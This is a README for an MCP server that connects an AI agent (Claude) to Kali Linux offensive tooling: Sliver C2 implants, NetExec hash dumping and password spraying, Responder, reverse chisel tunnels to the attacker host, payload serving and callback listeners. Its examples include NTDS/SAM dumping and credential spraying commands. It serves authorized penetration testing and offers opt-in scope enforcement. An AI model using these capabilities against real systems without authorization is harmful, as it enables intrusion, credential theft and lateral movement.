Authorized use only. This tool is built for penetration testing with explicit written authorization, CTF competitions, and security research in your own lab. Running it against systems you do not own or have permission to test is illegal in most jurisdictions. You are responsible for how you use it.
A native stdio MCP server for Kali Linux pentesting with 72 typed tools, structured JSON output, persistent session state, and full C2/desktop/tunneling integration. Built as a ground-up replacement for the official mcp-kali-server.
Official: Claude -> MCP client -> HTTP -> Flask -> subprocess
This: Claude -> SSH -> stdio -> subprocess
The official mcp-kali-server is a Flask HTTP API that wraps 12 generic command: str passthroughs around raw shell execution. No structured output, no session state, no async support. Claude gets back raw terminal text and has to guess what happened.
Official (mcp-kali-server) |
This project | |
|---|---|---|
| Transport | HTTP Flask API on port 5000 | Native stdio over SSH |
| Dependencies | Flask + multiple Python packages | mcp (single package) |
| Tools | 12 generic command passthroughs | 72 typed tools with schemas |
| Output | Raw shell text | Structured JSON (parsed XML, extracted creds, etc.) |
| Session State | None | Hosts, credentials, findings persist across calls |
| Async Jobs | No | Background jobs with poll/cancel |
| C2 Integration | No | Full Sliver framework (10 tools) |
| Remote Desktop | No | RDP/VNC with screenshots Claude can see |
| Tunneling | No | Chisel, Ligolo, sshuttle, proxychains, socat |
| GUI Tools | No | Burp Suite, Wireshark, BloodHound |
| AD Tools | Basic | NetExec (full), Evil-WinRM, Kerbrute, Certipy, Responder, bloodyAD + Impacket with auto-parsing |
| Auto-discovery | No | Tools auto-populate session (creds, hosts, findings) |
| Timeouts | Blanket | Per-tool with graceful SIGTERM -> SIGKILL + partial output capture |
| Auto-provisioning | No | Auto-downloads SharpCollection and Chisel Windows binary on first start |
# Copy the server
scp -r . kali@KALI_IP:/opt/kali-mcp/
# Install the one dependency
pip install mcp
# Install recommended tools (most are pre-installed on Kali)
sudo apt install sliver ligolo-ng sshuttle scrot xdotool xclip
pip install bloodyAD
# Verify it starts
python3 /opt/kali-mcp/server.py
# Should show: "Registered 72 tools" and "running on stdio"
# First start also auto-clones SharpCollection and downloads chisel.exe for WindowsAdd to ~/.claude.json:
{
"mcpServers": {
"kali-mcp": {
"command": "ssh",
"args": ["kali@YOUR_KALI_IP", "cd /opt/kali-mcp && python3 server.py"],
"timeout": 600
}
}
}Replace YOUR_KALI_IP with your Kali machine's IP. SSH key auth recommended.
In Claude Code, ask Claude to run ping_sweep against a test target. You should get structured JSON back with live hosts, not raw nmap text.
On first start, the server automatically downloads:
- SharpCollection to
/opt/SharpCollection/— pre-compiled .NET offensive tools (Seatbelt, Rubeus, SharpHound, etc.) for use withexecute-assemblyvia Sliver or Evil-WinRM - Chisel Windows binary to
/opt/chisel-windows/chisel.exe— latest release from GitHub for uploading to targets
Both are checked on every startup and only downloaded if missing. Provisioning is controllable via environment variables:
| Variable | Effect |
|---|---|
KALI_MCP_SKIP_PROVISION=1 |
No downloads at startup (offline / OPSEC-sensitive engagements) |
KALI_MCP_SHARP_REF=<branch-or-tag> |
Pin the SharpCollection ref (default: master) |
KALI_MCP_CHISEL_VERSION=<tag> |
Pin the chisel release (default: latest) |
| Tool | Description |
|---|---|
nmap_scan |
Port/service scan. Returns parsed JSON: hosts, ports, services, OS, scripts. Auto-populates session hosts. Supports async. |
ping_sweep |
Quick host discovery via nmap -sn. Returns {live_hosts: [{ip, hostname}]}. |
| Tool | Description |
|---|---|
gobuster_scan |
Directory/DNS/vhost brute-forcing. Parsed results with path, status, size. |
ffuf_scan |
Fast web fuzzer. Structured JSON output with URL, status, size per hit. |
dirb_scan |
Web content scanner. Parsed output matching gobuster format. |
nikto_scan |
Web server vulnerability scanner. Findings auto-added to session. |
sqlmap_scan |
SQL injection scanner. Injection points and databases extracted. SQLi findings auto-added to session. |
wpscan_analyze |
WordPress vulnerability scanner. Version, plugins, vulnerabilities. |
| Tool | Description |
|---|---|
nxc_scan |
NetExec — the Swiss army knife. Protocols: smb/ldap/winrm/mssql/ssh/rdp/ftp/vnc/wmi. First-class support for: credential testing, user/share/group enum, password policy, SAM/LSA/NTDS dumping, command execution (wmiexec/smbexec/atexec), module execution (lsassy, spider_plus, mimi_sekurlsa, nanodump, zerologon, petitpotam, etc.), password spraying, file upload/download. Admin access (Pwn3d!) auto-recorded as critical findings. Dumped hashes auto-added to session. |
enum4linux_scan |
Windows/Samba enumeration. Extracts users, shares, groups, password policy into structured data. |
bloodhound_ingest |
BloodHound data collection via bloodhound-python. Supports separate dc_host (FQDN) and dc_ip (DNS) parameters, --disable-autogc. |
impacket_tool |
Run any Impacket tool. Auto-parses secretsdump (NTLM hashes), GetNPUsers (AS-REP hashes), GetUserSPNs (TGS hashes). Handles special characters in passwords. Also supports dacledit, psexec, wmiexec, smbexec, atexec, getTGT, getST, rpcdump, lookupsid, findDelegation, and all others. |
evil_winrm |
WinRM shell. One-shot command execution or interactive session. Supports pass-the-hash and PS script loading. |
kerbrute |
Kerberos user enumeration and password spraying. Valid creds auto-added to session. |
certipy_scan |
AD Certificate Services (ADCS) enumeration and exploitation. Finds ESC1-ESC8 vulnerable templates, auto-adds findings. |
responder |
LLMNR/NBT-NS/mDNS poisoner. Captures NTLM hashes. Runs as background job. |
bloody_ad |
bloodyAD — AD privilege escalation via DACL/ACE manipulation. Supports getObjectAttributes, setAttribute, addUser, changePassword, addUserToGroup, setShadowCredentials, setGenericAll, setOwner, setRbcd, and more. |
| Tool | Description |
|---|---|
hydra_attack |
Online brute-forcing. Parsed credentials auto-added to session. |
john_crack |
Offline hash cracking. Cracked creds auto-added to session. |
hashcat_crack |
GPU-accelerated cracking. Parsed output with status/speed. Cracked passwords auto-added to session. Supports async. |
| Tool | Description |
|---|---|
metasploit_run |
Run MSF modules via resource script. Async support. |
searchsploit |
Search Exploit-DB. Structured JSON results. |
msfvenom_generate |
Generate payloads with any format, encoder, and platform. |
| Tool | Description |
|---|---|
sliver_listener |
Start/stop/list listeners: mTLS, HTTP, HTTPS, DNS, WireGuard. |
sliver_generate |
Generate session or beacon implants for Windows/Linux/macOS. All architectures, formats (exe/shared/shellcode), evasion options. |
sliver_sessions |
List active sessions, beacons, or jobs with optional filtering. |
sliver_use |
Run commands on a session/beacon via RC script. Supports ALL implant commands including armory extensions (seatbelt, rubeus, nanodump, etc.). Use execute -o instead of shell for command output. Console noise auto-stripped. |
sliver_kill |
Kill sessions, beacons, or jobs. |
sliver_profiles |
Create, list, or generate from implant profiles. |
sliver_stager |
Generate staged payloads with stage listener setup. |
sliver_server |
Manage sliver-server daemon: start/stop/restart, create operators, multiplayer mode. |
sliver_armory |
List, search, and install armory extensions and aliases. |
sliver_command |
Generic escape hatch for any Sliver console command via RC script. |
| Tool | Description |
|---|---|
rdp_connect |
Connect to target via RDP. Auto-detects xfreerdp3 vs xfreerdp. Kerberos auth disabled by default (avoids KDC errors). Supports drive sharing, admin mode, cert ignore. |
vnc_connect |
Connect to target via VNC. Supports password auth and view-only mode. |
desktop_screenshot |
Take a screenshot and return it as an image Claude can see (base64 ImageContent). Auto-starts Xvfb for headless environments. Auto-fixes X auth via xhost. Capture full desktop or specific window. |
desktop_type |
Send keyboard input via xdotool. Type text or press keys (Return, ctrl+c, alt+F4, etc.). Target specific windows. |
desktop_click |
Mouse clicks at coordinates. Left/right/middle button, double-click support. |
desktop_mouse_move |
Move cursor to specific coordinates. |
desktop_windows |
List all open windows with title, ID, position, and size. |
desktop_focus |
Focus/activate a specific window by name or ID. |
desktop_clipboard |
Get or set clipboard contents via xclip. |
desktop_disconnect |
Close RDP/VNC sessions by job ID or window name (uses xdotool windowclose, not pkill). |
desktop_unlock |
Unlock the Kali desktop if screen is locked. Optionally disables screensaver/lock for the session. |
| Tool | Description |
|---|---|
chisel |
TCP/UDP tunnel. Start server on Kali or client for SOCKS5 proxy, local/reverse port forwards. Accepts port shortcut and string booleans. |
ligolo |
Ligolo-ng tunneling proxy. Start proxy, create TUN interfaces, add routes for internal subnets. |
proxychains_run |
Run any command through a SOCKS proxy. Auto-generates temp config or uses existing one. |
sshuttle |
VPN-over-SSH tunnel to route traffic through compromised hosts. No client needed on target. |
socat_relay |
TCP/UDP port relay and forwarding. |
| Tool | Description |
|---|---|
launch_burp |
Start Burp Suite (GUI or headless). |
burp_api |
Interact with Burp REST API: start scans, get sitemap, export issues. |
launch_wireshark |
Start Wireshark GUI or tshark headless capture. |
tshark_analyze |
Analyze pcap files: protocol stats, conversations, filtered output. |
launch_bloodhound_gui |
Start BloodHound GUI with Neo4j. Optional data import. |
bloodhound_query |
Run Cypher queries against Neo4j. 7 presets for common AD queries (shortest path to DA, kerberoastable, ASREProastable, unconstrained delegation, DCSync rights, high-value targets). |
screenshot |
Capture desktop or specific window to file. |
| Tool | Description |
|---|---|
execute_command |
Run any shell command. Structured output: {stdout, stderr, exit_code, runtime_ms}. Pipes, redirects, everything. Supports async. Max 3600s timeout. Note: Avoid pkill -f as it can match and kill the MCP process itself — use killall by process name instead. |
get_job |
Check status/results of a background job. |
list_jobs |
List all background jobs with status and runtime. |
cancel_job |
Cancel a running background job (SIGTERM). |
| Tool | Description |
|---|---|
set_engagement |
Initialize engagement with name, scope, and working directory. enforce_scope: true blocks tool calls targeting IPs outside scope. |
get_session |
Full session overview: hosts, creds, findings, notes, stats by severity. |
add_host |
Manually add/update a host. Also auto-populated by nmap, ping_sweep, nikto, sqlmap, nxc. |
add_credential |
Record a credential. Also auto-populated by hydra, john, hashcat, nxc, kerbrute, impacket (secretsdump/GetNPUsers/GetUserSPNs). |
add_finding |
Record a vulnerability with severity. Evidence is optional. Also auto-populated by nikto, sqlmap, certipy, impacket, nxc (Pwn3d! = critical). |
add_note |
Free-text note with category. |
save_session |
Persist session to JSON file (0600 permissions). |
load_session |
Restore a saved session. |
generate_report |
Generate a Markdown engagement report: scope, hosts table, credentials table, findings grouped by severity, notes. Written with 0600 permissions. |
export_loot |
Export credentials to attack-ready files: passwords.txt, ntlm_hashes.txt (hashcat -m 1000), asrep_hashes.txt (m 18200), krb5tgs_hashes.txt (m 13100), creds.csv. |
| Tool | Description |
|---|---|
start_listener |
ncat TCP listener as a background job to catch reverse shells/callbacks. Optional keep-open and TLS. Poll get_job for received data. |
smb_share |
Host a directory over SMB via impacket-smbserver (background job). Serve payloads to targets, or require auth to capture NTLMv2 hashes from incoming connections. |
Every typed tool parses its output into structured JSON. Instead of Claude reading raw terminal text, it gets data it can reason over:
nmap_scan(target="10.10.10.5", ports="445,3389,5985")
->
{
"hosts": [{
"addresses": [{"addr": "10.10.10.5", "type": "ipv4"}],
"ports": [
{"port": 445, "state": "open", "service": {"name": "microsoft-ds"}},
{"port": 3389, "state": "open", "service": {"name": "ms-wbt-server"}},
{"port": 5985, "state": "open", "service": {"name": "wsman"}}
]
}]
}
Claude sees "445 open + 5985 open" and decides: "SMB + WinRM available, try nxc for cred testing, then evil-winrm for shell."
NetExec is implemented as a first-class tool with dedicated parameters for all major features instead of stuffing everything into additional_args:
# Enumerate shares and users
nxc_scan(protocol="smb", target="10.10.10.5", username="admin", password="Pass1", enum="shares,users")
# Dump SAM hashes (auto-added to session)
nxc_scan(protocol="smb", target="10.10.10.5", username="admin", password="Pass1", sam=true)
# Run module
nxc_scan(protocol="smb", target="10.10.10.5", username="admin", password="Pass1", module="lsassy")
# Password spray (continue after success)
nxc_scan(protocol="smb", target="10.10.10.0/24", username="users.txt", password="Spring2024!", continue_on_success=true)
# Execute command
nxc_scan(protocol="smb", target="10.10.10.5", username="admin", password="Pass1", execute="whoami", exec_method="wmiexec")
# Dump NTDS
nxc_scan(protocol="smb", target="10.10.10.5", username="admin", password="Pass1", ntds="drsuapi")
Admin access (Pwn3d!) is automatically recorded as a critical finding. Dumped hashes are auto-added as credentials.
Tools automatically populate session state as they find things:
nmap_scan -> session.add_host() # discovered hosts with ports
hydra/john -> session.add_credential() # cracked passwords
hashcat -> session.add_credential() # cracked hashes
secretsdump -> session.add_credential() # dumped NTLM hashes
GetNPUsers -> session.add_credential() # AS-REP hashes
+ session.add_finding() # "AS-REP Roastable" finding
GetUserSPNs -> session.add_credential() # TGS hashes
+ session.add_finding() # "Kerberoastable" finding
nikto -> session.add_finding() # web vulnerabilities
sqlmap -> session.add_finding() # SQL injection
certipy -> session.add_finding() # ADCS ESC1-ESC8
nxc -> session.add_credential() # validated credentials
+ session.add_finding() # admin access (Pwn3d!)
+ session.add_credential() # SAM/NTDS hashes
kerbrute -> session.add_credential() # sprayed passwords
Nothing is silently lost. Call get_session() at any point for a full engagement overview.
Long-running commands don't block. Set async_job: true on any tool that supports it:
nmap_scan(target="10.10.10.0/24", ports="-", async_job=true)
-> {job_id: "a1b2c3d4", status: "submitted"}
get_job(job_id="a1b2c3d4")
-> {status: "running", runtime_ms: 45000}
get_job(job_id="a1b2c3d4")
-> {status: "completed", result: {stdout: "...", exit_code: 0}}
On timeout, partial output is captured and returned instead of being discarded.
Claude can see and interact with remote desktops through the Kali VM:
1. rdp_connect(target="10.10.10.5", username="admin", password="Pass1")
-> {status: "connected", job_id: "xyz"}
2. desktop_screenshot()
-> [ImageContent: base64 JPEG Claude can see]
3. desktop_type(text="whoami", key="Return")
-> {status: "sent"}
4. desktop_screenshot() # see the result
- Auto-detects
xfreerdp3vsxfreerdpfor correct flag syntax - Kerberos auth disabled by default (avoids KDC unreachable errors)
DISPLAYandXAUTHORITYautomatically set for SSH sessionsdesktop_unlockavailable if screen locks during operations- Works with Xvfb for headless Kali VMs (auto-detected and started)
Three execution modes based on what Sliver actually supports:
- RC scripts (
sliver-client console --rc file.rc) for server operations (listeners, generate, profiles). All scripts auto-appendexitto prevent hanging. - RC scripts with
use <id>for session interaction, which enables armory extensions (seatbelt, rubeus, etc.) - Direct shell for server daemon management
Console noise (banners, prompts, status lines) is automatically stripped from output.
Known Limitations:
shellcommand doesn't work via RC scripts — useexecute -o cmd.exe /c "command"insteadportfwdandsocks5are ephemeral (destroyed when RC script exits) — usechisel/ligolofor persistent tunneling- When passing flags to target executables via
execute, wrap incmd.exe /cto avoid flag collision with Sliver's parser
Reach internal networks through compromised hosts:
# Start chisel server on Kali
chisel(mode="server", port=8080, reverse=true)
# After uploading chisel client to target via sliver:
# Target runs: chisel client KALI_IP:8080 R:socks
# Now route tools through the proxy
proxychains_run(command="nmap -sT 10.10.10.0/24", proxy="socks5 127.0.0.1 1080")
Or use sshuttle for transparent tunneling, ligolo-ng for TUN-based routing, or socat for simple port relays.
Note: Python asyncio tools (like bloodyAD) bypass proxychains' libc hooks. Use non-asyncio tools through proxychains, or use Sliver's port forwarding for specific ports.
- Scope enforcement (opt-in):
set_engagement(name="...", scope=["10.10.10.0/24"], enforce_scope=true)makes the server reject recon/AD/web/exploit tool calls whose target IP literals fall outside scope — a guardrail against an agent wandering off-target. C2/tunneling/desktop tools are exempt (listener and relay IPs are legitimately foreign), and hostnames are allowed since they can't be verified without DNS. - Secret redaction: credentials passed via
--password/-password/password=or URL userinfo (user:pass@host) are redacted from the audit log,list_jobs, andget_joboutput. - Output truncation: tool output is capped at 200 KB per call so a single
nmap -p-or NTDS dump can't flood the client's context. The truncation marker tells you to re-run with output redirected to a file. - Process-group kill: timeouts and
cancel_jobterminate the entire process group (SIGTERM, then SIGKILL after 5 s), so shell-wrapped children like nmap or responder don't survive as orphans. - Session files (which contain credentials) are written with
0600permissions.
Built-in parsers extract structured data from tool output:
| Parser | Extracts |
|---|---|
parse_nmap_xml |
Hosts, ports, services, OS, scripts from nmap XML |
parse_ffuf_json |
URLs, status codes, sizes from ffuf JSON |
parse_gobuster_output |
Paths, status codes, sizes from gobuster/dirb text |
parse_nikto_output |
Server info and vulnerability findings |
parse_sqlmap_output |
Injection points and discovered databases |
parse_hydra_output |
Cracked credentials (host, port, service, user, pass) |
parse_john_output |
Cracked hash:password pairs |
parse_hashcat_output |
Cracked hashes, GPU speed, progress status |
parse_wpscan_output |
WordPress version, plugins, vulnerabilities |
parse_nxc_output |
Hosts, shares, hashes, admin access, success/failure per target |
parse_enum4linux_output |
Users, shares, groups, password policy |
parse_secretsdump_output |
SAM hashes, NTDS hashes, LSA secrets, DPAPI keys |
parse_getnpusers_output |
AS-REP roastable users with hashes |
parse_getuserspns_output |
Kerberoastable SPNs with TGS hashes |
server.py Main entry point - stdio MCP server + auto-provisioning
executor.py Async subprocess runner with job management
session.py Engagement state: hosts, creds, findings
requirements.txt Single dependency: mcp>=1.0.0
requirements-dev.txt Test dependencies: pytest, mcp
pytest.ini Test configuration
tools/
registry.py Central tool registry, dispatch, and scope-enforcement gate
parsers.py 14 output parsers for structured data extraction
_recon.py nmap, ping_sweep
_web.py gobuster, ffuf, dirb, nikto, sqlmap, wpscan
_ad.py nxc, enum4linux, bloodhound, impacket, evil-winrm, kerbrute, certipy, responder, bloodyAD
_cracking.py hydra, john, hashcat
_exploit.py metasploit, searchsploit, msfvenom
_sliver.py 10 Sliver C2 tools
_desktop.py 10 remote desktop interaction tools + unlock
_tunneling.py chisel, ligolo, proxychains, sshuttle, socat
_command.py execute_command, job management
_session.py Engagement session tools + report/loot export
_services.py ncat listener, SMB share hosting
_gui.py Burp, Wireshark, BloodHound, screenshots
tests/
test_parsers.py Parser tests with realistic tool output samples
test_session.py Session state, scope matching, save/load
test_executor.py Execution, timeouts, jobs, cancellation, redaction
test_registry.py Tool registration and the scope-enforcement gate
test_loot_report.py Report renderer and loot exporter
SYSTEM_PROMPT.md Behavioral instructions for Claude during engagements
CLAUDE.md Project-specific Claude Code instructions
claude_code_config.json Example Claude Code MCP configuration
pip install -r requirements-dev.txt
python -m pytest # 54 tests: parsers, session, executor, registry, loot/reportThe suite runs cross-platform for development, but the server itself targets Kali Linux — two POSIX-only tests (process-group semantics, POSIX argv quoting) are skipped on Windows and execute on Kali.
SYSTEM_PROMPT.md tells Claude how to behave during engagements:
- Start every engagement with
set_engagement(..., enforce_scope=true)and stop immediately if a call is blocked as out-of-scope - State what it's doing before each tool call
- Summarize findings after each call (not raw output dumps)
- Stop after 3 failed attempts and ask before continuing
- Auto-record findings and credentials to session
- Follow pentest methodology: recon -> enum -> vuln assessment -> exploitation -> post-ex
- Not repeat scans already in session state
- Prefer typed tools over execute_command
- Use async jobs for scans > 2 minutes
- Test discovered credentials immediately against other services
- Handle truncated output by re-running to a file instead of guessing
- Deliver payloads via
smb_share, catch callbacks viastart_listener - Close out with
export_loot+generate_report
Copy SYSTEM_PROMPT.md content into your project's CLAUDE.md to activate.
- Kali Linux with standard tools installed
- Python 3.10+
mcppackage (pip install mcp)- SSH access from your Claude Code machine to Kali (key-based recommended)
| Category | Packages |
|---|---|
| Core (pre-installed on Kali) | nmap, gobuster, ffuf, nikto, sqlmap, hydra, john, hashcat, metasploit, netexec, enum4linux, impacket, responder, evil-winrm, chisel, socat, proxychains4 |
| C2 | sudo apt install sliver |
| Tunneling | sudo apt install ligolo-ng sshuttle |
| AD | pip install bloodyAD, sudo apt install certipy-ad, kerbrute |
| Desktop | sudo apt install xdotool xclip scrot xvfb (for headless) |
| Auto-provisioned | SharpCollection (/opt/SharpCollection/), Chisel Windows (/opt/chisel-windows/chisel.exe) |
See CONTRIBUTING.md for dev setup, how to add a tool, and
the rules of the road. The test suite (python -m pytest) must stay green.
MIT — see LICENSE. Use it, fork it, ship it. Just stay legal: authorized testing only.